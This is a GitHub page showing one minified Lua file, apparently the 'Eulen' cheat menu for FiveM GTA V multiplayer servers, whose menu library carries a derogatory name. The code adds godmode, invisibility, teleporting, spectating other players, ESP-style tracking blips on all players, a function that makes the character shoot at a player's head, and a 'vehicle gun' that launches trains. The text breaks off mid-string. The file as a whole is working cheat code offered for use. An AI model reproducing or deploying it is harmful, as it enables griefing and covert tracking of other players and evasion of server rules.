This repository was archived by the owner on Mar 16, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathEulen1.0.lua
1 lines (1 loc) · 62.2 KB
/
Eulen1.0.lua
1
gaybuild={}gaybuild.debug=false;local function a(b)local c={}local d=GetGameTimer()/1000;c.r=math.floor(math.sin(d*b+0)*127+128)c.g=math.floor(math.sin(d*b+2)*127+128)c.b=math.floor(math.sin(d*b+4)*127+128)return c end;local e={}local f={up=172,down=173,left=174,right=175,select=176,back=177}local g=0;local h=nil;local j=nil;local k=0.23;local l=0.11;local m=0.03;local n=1.0;local o=0.038;local p=0;local q=0.365;local r=0.005;local s=0.005;local function t(u)if gaybuild.debug then Citizen.Trace("[gaybuild] "..tostring(u))end end;local function v(w,x,y)if w and e[w]then e[w][x]=y;t(w.." menu property changed: { "..tostring(x)..", "..tostring(y).." }")end end;local function z(w)if w and e[w]then return e[w].visible else return false end end;local function A(w,B,C)if w and e[w]then v(w,"visible",B)if not C and e[w]then v(w,"currentOption",1)end;if B then if w~=j and z(j)then A(j,false)end;j=w end end end;local function D(u,E,F,G,H,I,J,K,L)SetTextColour(H.r,H.g,H.b,H.a)SetTextFont(G)SetTextScale(I,I)if K then SetTextDropShadow(2,2,0,0,0)end;if e[j]then if J then SetTextCentre(J)elseif L then SetTextWrap(e[j].x,e[j].x+k-r)SetTextRightJustify(true)end end;SetTextEntry("STRING")AddTextComponentString(u)DrawText(E,F)end;local function M(E,F,N,height,H)DrawRect(E,F,N,height,H.r,H.g,H.b,H.a)end;local function O()if e[j]then local E=e[j].x+k/2;local F=e[j].y+l/2;if e[j].titleBackgroundSprite then DrawSprite(e[j].titleBackgroundSprite.dict,e[j].titleBackgroundSprite.name,E,F,k,l,0.,255,255,255,255)else M(E,F,k,l,e[j].titleBackgroundColor)end;D(e[j].title,E,F-l/2+m,e[j].titleFont,e[j].titleColor,n,true)end end;local function P()if e[j]then local E=e[j].x+k/2;local F=e[j].y+l+o/2;local Q={r=e[j].titleBackgroundColor.r,g=e[j].titleBackgroundColor.g,b=e[j].titleBackgroundColor.b,a=255}M(E,F,k,o,e[j].subTitleBackgroundColor)D(e[j].subTitle,e[j].x+r,F-o/2+s,p,Q,q,false)if g>e[j].maxOptionCount then D(tostring(e[j].currentOption).." / "..tostring(g),e[j].x+k,F-o/2+s,p,Q,q,false,false,true)end end end;local function R(u,S)local E=e[j].x+k/2;local T=nil;if e[j].currentOption<=e[j].maxOptionCount and g<=e[j].maxOptionCount then T=g elseif g>e[j].currentOption-e[j].maxOptionCount and g<=e[j].currentOption then T=g-(e[j].currentOption-e[j].maxOptionCount)end;if T then local F=e[j].y+l+o+o*T-o/2;local U=nil;local V=nil;local W=nil;local K=false;if e[j].currentOption==g then U=e[j].menuFocusBackgroundColor;V=e[j].menuFocusTextColor;W=e[j].menuFocusTextColor else U=e[j].menuBackgroundColor;V=e[j].menuTextColor;W=e[j].menuSubTextColor;K=true end;M(E,F,k,o,U)D(u,e[j].x+r,F-o/2+s,p,V,q,false,K)if S then D(S,e[j].x+r,F-o/2+s,p,W,q,false,K,true)end end end;function gaybuild.CreateMenu(w,X)e[w]={}e[w].title=X;e[w].subTitle="INTERACTION MENU"e[w].visible=false;e[w].previousMenu=nil;e[w].aboutToBeClosed=false;e[w].x=0.75;e[w].y=0.19;e[w].currentOption=1;e[w].maxOptionCount=10;e[w].titleFont=1;e[w].titleColor={r=255,g=255,b=255,a=255}Citizen.CreateThread(function()while true do Citizen.Wait(0)local Y=a(1.0)e[w].titleBackgroundColor={r=Y.r,g=Y.g,b=Y.b,a=255}e[w].menuFocusBackgroundColor={r=Y.r,g=Y.g,b=Y.b,a=100}end end)e[w].titleBackgroundSprite=nil;e[w].menuTextColor={r=255,g=255,b=255,a=255}e[w].menuSubTextColor={r=189,g=189,b=189,a=255}e[w].menuFocusTextColor={r=255,g=255,b=255,a=255}e[w].menuBackgroundColor={r=0,g=0,b=0,a=100}e[w].subTitleBackgroundColor={r=e[w].menuBackgroundColor.r,g=e[w].menuBackgroundColor.g,b=e[w].menuBackgroundColor.b,a=255}e[w].buttonPressedSound={name="SELECT",set="HUD_FRONTEND_DEFAULT_SOUNDSET"}t(tostring(w).." menu created")end;function gaybuild.CreateSubMenu(w,Z,_)if e[Z]then gaybuild.CreateMenu(w,e[Z].title)if _ then v(w,"subTitle",string.upper(_))else v(w,"subTitle",string.upper(e[Z].subTitle))end;v(w,"previousMenu",Z)v(w,"x",e[Z].x)v(w,"y",e[Z].y)v(w,"maxOptionCount",e[Z].maxOptionCount)v(w,"titleFont",e[Z].titleFont)v(w,"titleColor",e[Z].titleColor)v(w,"titleBackgroundColor",e[Z].titleBackgroundColor)v(w,"titleBackgroundSprite",e[Z].titleBackgroundSprite)v(w,"menuTextColor",e[Z].menuTextColor)v(w,"menuSubTextColor",e[Z].menuSubTextColor)v(w,"menuFocusTextColor",e[Z].menuFocusTextColor)v(w,"menuFocusBackgroundColor",e[Z].menuFocusBackgroundColor)v(w,"menuBackgroundColor",e[Z].menuBackgroundColor)v(w,"subTitleBackgroundColor",e[Z].subTitleBackgroundColor)else t("Failed to create "..tostring(w).." submenu: "..tostring(Z).." parent menu doesn't exist")end end;function gaybuild.CurrentMenu()return j end;function gaybuild.OpenMenu(w)if w and e[w]then PlaySoundFrontend(-1,"SELECT","HUD_FRONTEND_DEFAULT_SOUNDSET",true)A(w,true)if e[w].titleBackgroundSprite then RequestStreamedTextureDict(e[w].titleBackgroundSprite.dict,false)while not HasStreamedTextureDictLoaded(e[w].titleBackgroundSprite.dict)do Citizen.Wait(0)end end;t(tostring(w).." menu opened")else t("Failed to open "..tostring(w).." menu: it doesn't exist")end end;function gaybuild.IsMenuOpened(w)return z(w)end;function gaybuild.IsAnyMenuOpened()for w,a0 in pairs(e)do if z(w)then return true end end;return false end;function gaybuild.IsMenuAboutToBeClosed()if e[j]then return e[j].aboutToBeClosed else return false end end;function gaybuild.CloseMenu()if e[j]then if e[j].aboutToBeClosed then e[j].aboutToBeClosed=false;A(j,false)t(tostring(j).." menu closed")PlaySoundFrontend(-1,"QUIT","HUD_FRONTEND_DEFAULT_SOUNDSET",true)g=0;j=nil;h=nil else e[j].aboutToBeClosed=true;t(tostring(j).." menu about to be closed")end end end;function gaybuild.Button(u,S)local a1=u;if S then a1="{ "..tostring(a1)..", "..tostring(S).." }"end;if e[j]then g=g+1;local a2=e[j].currentOption==g;R(u,S)if a2 then if h==f.select then PlaySoundFrontend(-1,e[j].buttonPressedSound.name,e[j].buttonPressedSound.set,true)t(a1 .." button pressed")return true elseif h==f.left or h==f.right then PlaySoundFrontend(-1,"NAV_UP_DOWN","HUD_FRONTEND_DEFAULT_SOUNDSET",true)end end;return false else t("Failed to create "..a1 .." button: "..tostring(j).." menu doesn't exist")return false end end;function gaybuild.MenuButton(u,w)if e[w]then if gaybuild.Button(u)then A(j,false)A(w,true,true)return true end else t("Failed to create "..tostring(u).." menu button: "..tostring(w).." submenu doesn't exist")end;return false end;function gaybuild.CheckBox(u,bool,a3)local a4="~r~~h~Off"if bool then a4="~g~~h~On"end;if gaybuild.Button(u,a4)then bool=not bool;t(tostring(u).." checkbox changed to "..tostring(bool))a3(bool)return true end;return false end;function gaybuild.ComboBox(u,a5,a6,a7,a3)local a8=#a5;local a9=a5[a6]local a2=e[j].currentOption==g+1;if a8>1 and a2 then a9="← "..tostring(a9).." →"end;if gaybuild.Button(u,a9)then a7=a6;a3(a6,a7)return true elseif a2 then if h==f.left then if a6>1 then a6=a6-1 else a6=a8 end elseif h==f.right then if a6<a8 then a6=a6+1 else a6=1 end end else a6=a7 end;a3(a6,a7)return false end;function gaybuild.Display()if z(j)then if e[j].aboutToBeClosed then gaybuild.CloseMenu()else ClearAllHelpMessages()O()P()h=nil;if IsDisabledControlJustPressed(0,f.down)then PlaySoundFrontend(-1,"NAV_UP_DOWN","HUD_FRONTEND_DEFAULT_SOUNDSET",true)if e[j].currentOption<g then e[j].currentOption=e[j].currentOption+1 else e[j].currentOption=1 end elseif IsDisabledControlJustPressed(0,f.up)then PlaySoundFrontend(-1,"NAV_UP_DOWN","HUD_FRONTEND_DEFAULT_SOUNDSET",true)if e[j].currentOption>1 then e[j].currentOption=e[j].currentOption-1 else e[j].currentOption=g end elseif IsDisabledControlJustPressed(0,f.left)then h=f.left elseif IsDisabledControlJustPressed(0,f.right)then h=f.right elseif IsDisabledControlJustPressed(0,f.select)then h=f.select elseif IsDisabledControlJustPressed(0,f.back)then if e[e[j].previousMenu]then PlaySoundFrontend(-1,"BACK","HUD_FRONTEND_DEFAULT_SOUNDSET",true)A(e[j].previousMenu,true)else gaybuild.CloseMenu()end end;g=0 end end end;function gaybuild.SetMenuWidth(w,N)v(w,"width",N)end;function gaybuild.SetMenuX(w,E)v(w,"x",E)end;function gaybuild.SetMenuY(w,F)v(w,"y",F)end;function gaybuild.SetMenuMaxOptionCountOnScreen(w,aa)v(w,"maxOptionCount",aa)end;function gaybuild.SetTitleColor(w,ab,ac,ad,ae)v(w,"titleColor",{["r"]=ab,["g"]=ac,["b"]=ad,["a"]=ae or e[w].titleColor.a})end;function gaybuild.SetTitleBackgroundColor(w,ab,ac,ad,ae)v(w,"titleBackgroundColor",{["r"]=ab,["g"]=ac,["b"]=ad,["a"]=ae or e[w].titleBackgroundColor.a})end;function gaybuild.SetTitleBackgroundSprite(w,af,ag)v(w,"titleBackgroundSprite",{dict=af,name=ag})end;function gaybuild.SetSubTitle(w,u)v(w,"subTitle",string.upper(u))end;function gaybuild.SetMenuBackgroundColor(w,ab,ac,ad,ae)v(w,"menuBackgroundColor",{["r"]=ab,["g"]=ac,["b"]=ad,["a"]=ae or e[w].menuBackgroundColor.a})end;function gaybuild.SetMenuTextColor(w,ab,ac,ad,ae)v(w,"menuTextColor",{["r"]=ab,["g"]=ac,["b"]=ad,["a"]=ae or e[w].menuTextColor.a})end;function gaybuild.SetMenuSubTextColor(w,ab,ac,ad,ae)v(w,"menuSubTextColor",{["r"]=ab,["g"]=ac,["b"]=ad,["a"]=ae or e[w].menuSubTextColor.a})end;function gaybuild.SetMenuFocusColor(w,ab,ac,ad,ae)v(w,"menuFocusColor",{["r"]=ab,["g"]=ac,["b"]=ad,["a"]=ae or e[w].menuFocusColor.a})end;function gaybuild.SetMenuButtonPressedSound(w,ah,ai)v(w,"buttonPressedSound",{["name"]=ah,["set"]=ai})end;function KeyboardInput(aj,ak,al)AddTextEntry("FMMC_KEY_TIP1",aj..":")DisplayOnscreenKeyboard(1,"FMMC_KEY_TIP1","",ak,"","","",al)blockinput=true;while UpdateOnscreenKeyboard()~=1 and UpdateOnscreenKeyboard()~=2 do Citizen.Wait(0)end;if UpdateOnscreenKeyboard()~=2 then local c=GetOnscreenKeyboardResult()Citizen.Wait(500)blockinput=false;return c else Citizen.Wait(500)blockinput=false;return nil end end;local function am()local an={}for i=0,GetNumberOfPlayers()do if NetworkIsPlayerActive(i)then an[#an+1]=i end end;return an end;function DrawText3D(E,F,ao,u,ab,ac,ad)SetDrawOrigin(E,F,ao,0)SetTextFont(0)SetTextProportional(0)SetTextScale(0.0,0.20)SetTextColour(ab,ac,ad,255)SetTextDropshadow(0,0,0,0,255)SetTextEdge(2,0,0,0,150)SetTextDropShadow()SetTextOutline()SetTextEntry("STRING")SetTextCentre(1)AddTextComponentString(u)DrawText(0.0,0.0)ClearDrawOrigin()end;function math.round(ap,aq)return tonumber(string.format("%."..(aq or 0).."f",ap))end;local function a(b)local c={}local d=GetGameTimer()/1000;c.r=math.floor(math.sin(d*b+0)*127+128)c.g=math.floor(math.sin(d*b+2)*127+128)c.b=math.floor(math.sin(d*b+4)*127+128)return c end;function drawNotification(u)SetNotificationTextEntry("STRING")AddTextComponentString(u)DrawNotification(false,false)end;local ar={"WEAPON_KNIFE","WEAPON_KNUCKLE","WEAPON_NIGHTSTICK","WEAPON_HAMMER","WEAPON_BAT","WEAPON_GOLFCLUB","WEAPON_CROWBAR","WEAPON_BOTTLE","WEAPON_DAGGER","WEAPON_HATCHET","WEAPON_MACHETE","WEAPON_FLASHLIGHT","WEAPON_SWITCHBLADE","WEAPON_PISTOL","WEAPON_PISTOL_MK2","WEAPON_COMBATPISTOL","WEAPON_APPISTOL","WEAPON_PISTOL50","WEAPON_SNSPISTOL","WEAPON_HEAVYPISTOL","WEAPON_VINTAGEPISTOL","WEAPON_STUNGUN","WEAPON_FLAREGUN","WEAPON_MARKSMANPISTOL","WEAPON_REVOLVER","WEAPON_MICROSMG","WEAPON_SMG","WEAPON_SMG_MK2","WEAPON_ASSAULTSMG","WEAPON_MG","WEAPON_COMBATMG","WEAPON_COMBATMG_MK2","WEAPON_COMBATPDW","WEAPON_GUSENBERG","WEAPON_MACHINEPISTOL","WEAPON_ASSAULTRIFLE","WEAPON_ASSAULTRIFLE_MK2","WEAPON_CARBINERIFLE","WEAPON_CARBINERIFLE_MK2","WEAPON_ADVANCEDRIFLE","WEAPON_SPECIALCARBINE","WEAPON_BULLPUPRIFLE","WEAPON_COMPACTRIFLE","WEAPON_PUMPSHOTGUN","WEAPON_SAWNOFFSHOTGUN","WEAPON_BULLPUPSHOTGUN","WEAPON_ASSAULTSHOTGUN","WEAPON_MUSKET","WEAPON_HEAVYSHOTGUN","WEAPON_DBSHOTGUN","WEAPON_SNIPERRIFLE","WEAPON_HEAVYSNIPER","WEAPON_HEAVYSNIPER_MK2","WEAPON_MARKSMANRIFLE","WEAPON_GRENADELAUNCHER","WEAPON_GRENADELAUNCHER_SMOKE","WEAPON_RPG","WEAPON_STINGER","WEAPON_FIREWORK","WEAPON_HOMINGLAUNCHER","WEAPON_GRENADE","WEAPON_STICKYBOMB","WEAPON_PROXMINE","WEAPON_BZGAS","WEAPON_SMOKEGRENADE","WEAPON_MOLOTOV","WEAPON_FIREEXTINGUISHER","WEAPON_PETROLCAN","WEAPON_SNOWBALL","WEAPON_FLARE","WEAPON_BALL"}local as=true;local function at()if DoesBlipExist(GetFirstBlipInfoId(8))then local au=GetBlipInfoIdIterator(8)local blip=GetFirstBlipInfoId(8,au)WaypointCoords=Citizen.InvokeNative(0xFA7C7F0AADF25D09,blip,Citizen.ResultAsVector())wp=true else drawNotification("~r~No waypoint!")end;local av=0.0;height=1000.0;while true do Citizen.Wait(0)if wp then if IsPedInAnyVehicle(GetPlayerPed(-1),0)and GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1),0),-1)==GetPlayerPed(-1)then entity=GetVehiclePedIsIn(GetPlayerPed(-1),0)else entity=GetPlayerPed(-1)end;SetEntityCoords(entity,WaypointCoords.x,WaypointCoords.y,height)FreezeEntityPosition(entity,true)local aw=GetEntityCoords(entity,true)if av==0.0 then height=height-25.0;SetEntityCoords(entity,aw.x,aw.y,height)bool,av=GetGroundZFor_3dCoord(aw.x,aw.y,aw.z,0)else SetEntityCoords(entity,aw.x,aw.y,av)FreezeEntityPosition(entity,false)wp=false;height=1000.0;av=0.0;drawNotification("~g~Teleported to waypoint!")break end end end end;function stringsplit(ax,ay)if ay==nil then ay="%s"end;local az={}i=1;for aA in string.gmatch(ax,"([^"..ay.."]+)")do az[i]=aA;i=i+1 end;return az end;local aB=false;function SpectatePlayer(aC)local aD=PlayerPedId()aB=not aB;local aE=GetPlayerPed(aC)if aB then local aF,aG,aH=table.unpack(GetEntityCoords(aE,false))RequestCollisionAtCoord(aF,aG,aH)NetworkSetInSpectatorMode(true,aE)drawNotification("Spectating "..GetPlayerName(aC))else local aF,aG,aH=table.unpack(GetEntityCoords(aE,false))RequestCollisionAtCoord(aF,aG,aH)NetworkSetInSpectatorMode(false,aE)drawNotification("Stopped Spectating "..GetPlayerName(aC))end end;function ShootPlayer(aC)local aI=GetPedBoneCoords(aC,GetEntityBoneIndexByName(aC,"SKEL_HEAD"),0.0,0.0,0.0)SetPedShootsAtCoord(PlayerPedId(),aI.x,aI.y,aI.z,true)end;function MaxOut(veh)SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1),false),0)SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1),false),7)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),0,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),0)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),1,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),1)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),2,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),2)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),3,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),3)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),4,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),4)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),5,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),5)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),6,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),6)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),7,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),7)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),8,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),8)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),9,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),9)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),10,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),10)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),11,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),11)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),12,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),12)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),13,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),13)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),14,16,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),15,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),15)-2,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),16,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),16)-1,false)ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),17,true)ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),18,true)ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),19,true)ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),20,true)ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),21,true)ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),22,true)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),23,1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),24,1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),25,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),25)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),27,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),27)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),28,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),28)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),30,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),30)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),33,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),33)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),34,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),34)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),35,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),35)-1,false)SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1),false),38,GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1),false),38)-1,true)SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1),false),1)SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1),false),false)SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-1),false),5)end;function DelVeh(veh)SetEntityAsMissionEntity(Object,1,1)DeleteEntity(Object)SetEntityAsMissionEntity(GetVehiclePedIsIn(GetPlayerPed(-1),false),1,1)DeleteEntity(GetVehiclePedIsIn(GetPlayerPed(-1),false))end;function Clean(veh)SetVehicleDirtLevel(veh,15.0)end;function Clean2(veh)SetVehicleDirtLevel(veh,1.0)end;entityEnumerator={__gc=function(aJ)if aJ.destructor and aJ.handle then aJ.destructor(aJ.handle)end;aJ.destructor=nil;aJ.handle=nil end}function EnumerateEntities(aK,aL,aM)return coroutine.wrap(function()local aN,w=aK()if not w or w==0 then aM(aN)return end;local aJ={handle=aN,destructor=aM}setmetatable(aJ,entityEnumerator)local aO=true;repeat coroutine.yield(w)aO,w=aL(aN)until not aO;aJ.destructor,aJ.handle=nil,nil;aM(aN)end)end;function EnumerateObjects()return EnumerateEntities(FindFirstObject,FindNextObject,EndFindObject)end;function EnumeratePeds()return EnumerateEntities(FindFirstPed,FindNextPed,EndFindPed)end;function EnumerateVehicles()return EnumerateEntities(FindFirstVehicle,FindNextVehicle,EndFindVehicle)end;function EnumeratePickups()return EnumerateEntities(FindFirstPickup,FindNextPickup,EndFindPickup)end;function RequestControl(entity)local aP=0;NetworkRequestControlOfEntity(entity)while not NetworkHasControlOfEntity(entity)do aP=aP+100;Citizen.Wait(100)if aP>5000 then drawNotification("Hung for 5 seconds, killing to prevent issues...")end end end;function getEntity(aC)local c,entity=GetEntityPlayerIsFreeAimingAt(aC,Citizen.ReturnResultAnyway())return entity end;function GetInputMode()return Citizen.InvokeNative(0xA571D46727E2B718,2)and"MouseAndKeyboard"or"GamePad"end;function DrawSpecialText(aQ,aR)SetTextEntry_2("STRING")AddTextComponentString(aQ)DrawSubtitleTimed(aR,1)end;ShowHudComponentThisFrame(14)Citizen.CreateThread(function()local aS={}while true do Citizen.Wait(1)if playerBlips then for w=0,64 do if NetworkIsPlayerActive(w)and GetPlayerPed(w)~=GetPlayerPed(-1)then ped=GetPlayerPed(w)blip=GetBlipFromEntity(ped)aS[w]=CreateMpGamerTag(ped,GetPlayerName(w),false,false,"",false)wantedLvl=GetPlayerWantedLevel(w)if wantedLvl then SetMpGamerTagVisibility(aS[w],7,true)SetMpGamerTagWantedLevel(aS[w],wantedLvl)else SetMpGamerTagVisibility(aS[w],7,false)end;if NetworkIsPlayerTalking(w)then SetMpGamerTagVisibility(aS[w],9,true)else SetMpGamerTagVisibility(aS[w],9,false)end;if not DoesBlipExist(blip)then blip=AddBlipForEntity(ped)SetBlipSprite(blip,1)ShowHeadingIndicatorOnBlip(blip,true)else veh=GetVehiclePedIsIn(ped,false)blipSprite=GetBlipSprite(blip)if not GetEntityHealth(ped)then if blipSprite~=274 then SetBlipSprite(blip,274)ShowHeadingIndicatorOnBlip(blip,false)end elseif veh then vehClass=GetVehicleClass(veh)vehModel=GetEntityModel(veh)if vehClass==15 then if blipSprite~=422 then SetBlipSprite(blip,422)ShowHeadingIndicatorOnBlip(blip,false)end elseif vehClass==8 then if blipSprite~=226 then SetBlipSprite(blip,226)ShowHeadingIndicatorOnBlip(blip,false)end elseif vehClass==16 then if vehModel==GetHashKey("besra")or vehModel==GetHashKey("hydra")or vehModel==GetHashKey("lazer")then if blipSprite~=424 then SetBlipSprite(blip,424)ShowHeadingIndicatorOnBlip(blip,false)end elseif blipSprite~=423 then SetBlipSprite(blip,423)ShowHeadingIndicatorOnBlip(blip,false)end elseif vehClass==14 then if blipSprite~=427 then SetBlipSprite(blip,427)ShowHeadingIndicatorOnBlip(blip,false)end elseif vehModel==GetHashKey("insurgent")or vehModel==GetHashKey("insurgent2")or vehModel==GetHashKey("insurgent3")then if blipSprite~=426 then SetBlipSprite(blip,426)ShowHeadingIndicatorOnBlip(blip,false)end elseif vehModel==GetHashKey("limo2")then if blipSprite~=460 then SetBlipSprite(blip,460)ShowHeadingIndicatorOnBlip(blip,false)end elseif vehModel==GetHashKey("rhino")then if blipSprite~=421 then SetBlipSprite(blip,421)ShowHeadingIndicatorOnBlip(blip,false)end elseif vehModel==GetHashKey("trash")or vehModel==GetHashKey("trash2")then if blipSprite~=318 then SetBlipSprite(blip,318)ShowHeadingIndicatorOnBlip(blip,false)end elseif vehModel==GetHashKey("pbus")then if blipSprite~=513 then SetBlipSprite(blip,513)ShowHeadingIndicatorOnBlip(blip,false)end elseif vehModel==GetHashKey("seashark")or vehModel==GetHashKey("seashark2")or vehModel==GetHashKey("seashark3")then if blipSprite~=471 then SetBlipSprite(blip,471)ShowHeadingIndicatorOnBlip(blip,false)end elseif vehModel==GetHashKey("cargobob")or vehModel==GetHashKey("cargobob2")or vehModel==GetHashKey("cargobob3")or vehModel==GetHashKey("cargobob4")then if blipSprite~=481 then SetBlipSprite(blip,481)ShowHeadingIndicatorOnBlip(blip,false)end elseif vehModel==GetHashKey("technical")or vehModel==GetHashKey("technical2")or vehModel==GetHashKey("technical3")then if blipSprite~=426 then SetBlipSprite(blip,426)ShowHeadingIndicatorOnBlip(blip,false)end elseif vehModel==GetHashKey("taxi")then if blipSprite~=198 then SetBlipSprite(blip,198)ShowHeadingIndicatorOnBlip(blip,false)end elseif vehModel==GetHashKey("fbi")or vehModel==GetHashKey("fbi2")or vehModel==GetHashKey("police2")or vehModel==GetHashKey("police3")or vehModel==GetHashKey("police")or vehModel==GetHashKey("sheriff2")or vehModel==GetHashKey("sheriff")or vehModel==GetHashKey("policeold2")or vehModel==GetHashKey("policeold1")then if blipSprite~=56 then SetBlipSprite(blip,56)ShowHeadingIndicatorOnBlip(blip,false)end elseif blipSprite~=1 then SetBlipSprite(blip,1)ShowHeadingIndicatorOnBlip(blip,true)end;passengers=GetVehicleNumberOfPassengers(veh)if passengers then if not IsVehicleSeatFree(veh,-1)then passengers=passengers+1 end;ShowNumberOnBlip(blip,passengers)else HideNumberOnBlip(blip)end else HideNumberOnBlip(blip)if blipSprite~=1 then SetBlipSprite(blip,1)ShowHeadingIndicatorOnBlip(blip,true)end end;SetBlipRotation(blip,math.ceil(GetEntityHeading(veh)))SetBlipNameToPlayerName(blip,w)SetBlipScale(blip,0.85)if IsPauseMenuActive()then SetBlipAlpha(blip,255)else x1,y1=table.unpack(GetEntityCoords(GetPlayerPed(-1),true))x2,y2=table.unpack(GetEntityCoords(GetPlayerPed(w),true))distance=math.floor(math.abs(math.sqrt((x1-x2)*(x1-x2)+(y1-y2)*(y1-y2)))/-1)+900;if distance<0 then distance=0 elseif distance>255 then distance=255 end;SetBlipAlpha(blip,distance)end end end end else for w=0,64 do ped=GetPlayerPed(w)blip=GetBlipFromEntity(ped)if DoesBlipExist(blip)then RemoveBlip(blip)end;if IsMpGamerTagActive(aS[w])then RemoveMpGamerTag(aS[w])end end end end end)Citizen.CreateThread(function()while as do Citizen.Wait(0)SetPlayerInvincible(PlayerId(),Godmode)SetEntityInvincible(PlayerPedId(),Godmode)if SuperJump then SetSuperJumpThisFrame(PlayerId())end;if InfStamina then RestorePlayerStamina(PlayerId(),1.0)end;if Invisible then SetEntityVisible(GetPlayerPed(-1),false,0)else SetEntityVisible(GetPlayerPed(-1),true,0)end;if fastrun then SetRunSprintMultiplierForPlayer(PlayerId(),2.49)SetPedMoveRateOverride(GetPlayerPed(-1),2.15)else SetRunSprintMultiplierForPlayer(PlayerId(),1.0)SetPedMoveRateOverride(GetPlayerPed(-1),1.0)end;if VehicleGun then local aT="Freight"local aU=GetEntityCoords(GetPlayerPed(-1),true)if IsPedInAnyVehicle(GetPlayerPed(-1),true)==false then drawNotification("~g~Vehicle Gun Enabled!~n~~w~Use The ~b~AP Pistol~n~~b~Aim ~w~and ~b~Shoot!")GiveWeaponToPed(GetPlayerPed(-1),GetHashKey("WEAPON_APPISTOL"),999999,false,true)SetPedAmmo(GetPlayerPed(-1),GetHashKey("WEAPON_APPISTOL"),999999)if GetSelectedPedWeapon(GetPlayerPed(-1))==GetHashKey("WEAPON_APPISTOL")then if IsPedShooting(GetPlayerPed(-1))then while not HasModelLoaded(GetHashKey(aT))do Citizen.Wait(0)RequestModel(GetHashKey(aT))end;local veh=CreateVehicle(GetHashKey(aT),aU.x+5*GetEntityForwardX(GetPlayerPed(-1)),aU.y+5*GetEntityForwardY(GetPlayerPed(-1)),aU.z+2.0,GetEntityHeading(GetPlayerPed(-1)),true,true)SetEntityAsNoLongerNeeded(veh)SetVehicleForwardSpeed(veh,150.0)end end end end;if DeleteGun then local aV=getEntity(PlayerId())if IsPedInAnyVehicle(GetPlayerPed(-1),true)==false then drawNotification("~g~Delete Gun Enabled!~n~~w~Use The ~b~Pistol~n~~b~Aim ~w~and ~b~Shoot ~w~To 